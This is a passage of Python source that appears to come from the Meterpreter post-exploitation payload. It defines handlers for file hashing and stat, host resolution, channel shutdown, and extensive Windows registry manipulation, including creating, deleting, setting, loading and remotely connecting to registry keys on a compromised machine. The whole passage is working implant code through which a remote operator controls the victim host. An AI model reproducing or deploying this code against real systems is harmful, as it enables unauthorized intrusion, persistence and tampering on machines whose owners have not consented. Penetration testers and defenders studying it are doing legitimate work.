	path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	m.update(open(path, 'rb').read())
	response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_fs_stat(request, response):
	path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
	st_buf = get_stat_buffer(path)
	response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_net_resolve_host(request, response):
	hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
	family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
	if family == WIN_AF_INET:
		family = socket.AF_INET
	elif family == WIN_AF_INET6:
		family = socket.AF_INET6
	else:
		raise Exception('invalid family')
	result = resolve_host(hostname, family)
	response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
	response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_net_resolve_hosts(request, response):
	family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
	if family == WIN_AF_INET:
		family = socket.AF_INET
	elif family == WIN_AF_INET6:
		family = socket.AF_INET6
	else:
		raise Exception('invalid family')
	for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME):
		hostname = hostname['value']
		try:
			result = resolve_host(hostname, family)
		except socket.error:
			result = {'family':family, 'packed_address':''}
		response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
		response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
	return ERROR_SUCCESS, response

@meterpreter.register_function
def stdapi_net_socket_tcp_shutdown(request, response):
	channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
	channel = meterpreter.channels[channel_id]
	channel.close()
	return ERROR_SUCCESS, response

@meterpreter.register_function_windll
def stdapi_registry_close_key(request, response):
	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
	result = ctypes.windll.advapi32.RegCloseKey(hkey)
	return ERROR_SUCCESS, response

@meterpreter.register_function_windll
def stdapi_registry_create_key(request, response):
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
	permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
	res_key = ctypes.c_void_p()
	if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
		response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
		return ERROR_SUCCESS, response
	return ERROR_FAILURE, response

@meterpreter.register_function_windll
def stdapi_registry_delete_key(request, response):
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
	flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
	if (flags & DELETE_KEY_FLAG_RECURSIVE):
		result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
	else:
		result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
	return result, response

@meterpreter.register_function_windll
def stdapi_registry_delete_value(request, response):
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
	value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
	result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
	return result, response

@meterpreter.register_function_windll
def stdapi_registry_enum_key(request, response):
	ERROR_MORE_DATA = 0xea
	ERROR_NO_MORE_ITEMS = 0x0103
	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
	name = (ctypes.c_char * 4096)()
	index = 0
	tries = 0
	while True:
		result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
		if result == ERROR_MORE_DATA:
			if tries > 3:
				break
			name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
			tries += 1
			continue
		elif result == ERROR_NO_MORE_ITEMS:
			result = ERROR_SUCCESS
			break
		elif result != ERROR_SUCCESS:
			break
		tries = 0
		response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
		index += 1
	return result, response

@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
	ERROR_MORE_DATA = 0xea
	ERROR_NO_MORE_ITEMS = 0x0103
	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
	name = (ctypes.c_char * 4096)()
	name_sz = ctypes.c_uint32()
	index = 0
	tries = 0
	while True:
		name_sz.value = ctypes.sizeof(name)
		result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
		if result == ERROR_MORE_DATA:
			if tries > 3:
				break
			name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
			tries += 1
			continue
		elif result == ERROR_NO_MORE_ITEMS:
			result = ERROR_SUCCESS
			break
		elif result != ERROR_SUCCESS:
			break
		tries = 0
		response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
		index += 1
	return result, response

@meterpreter.register_function_windll
def stdapi_registry_load_key(request, response):
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
	sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
	file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
	result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
	return result, response

@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
	permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
	handle_id = ctypes.c_void_p()
	if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
		response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
		return ERROR_SUCCESS, response
	return ERROR_FAILURE, response

@meterpreter.register_function_windll
def stdapi_registry_open_remote_key(request, response):
	target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
	result_key = ctypes.c_void_p()
	result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key))
	if (result == ERROR_SUCCESS):
		response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
		return ERROR_SUCCESS, response
	return ERROR_FAILURE, response

@meterpreter.register_function_windll
def stdapi_registry_query_class(request, response):
	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
	value_data = (ctypes.c_char * 4096)()
	value_data_sz = ctypes.c_uint32()
	value_data_sz.value = ctypes.sizeof(value_data)
	result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None)
	if result == ERROR_SUCCESS:
		response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
		return ERROR_SUCCESS, response
	return ERROR_FAILURE, response

@meterpreter.register_function_windll
def stdapi_registry_query_value(request, response):
	REG_SZ = 1
	REG_DWORD = 4
	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
	value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
	value_type = ctypes.c_uint32()
	value_type.value = 0
	value_data = (ctypes.c_ubyte * 4096)()
	value_data_sz = ctypes.c_uint32()
	value_data_sz.value = ctypes.sizeof(value_data)
	result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
	if result == ERROR_SUCCESS:
		response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
		if value_type.value == REG_SZ:
			response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
		elif value_type.value == REG_DWORD:
			response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4])
		else:
			response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value])
		return ERROR_SUCCESS, response
	return ERROR_FAILURE, response

@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
	hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
	value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
	value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
	value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
	result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
	return result, response

@meterpreter.register_function_windll
def stdapi_registry_unload_key(request, response):
	root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
	base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
	result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
	return result, response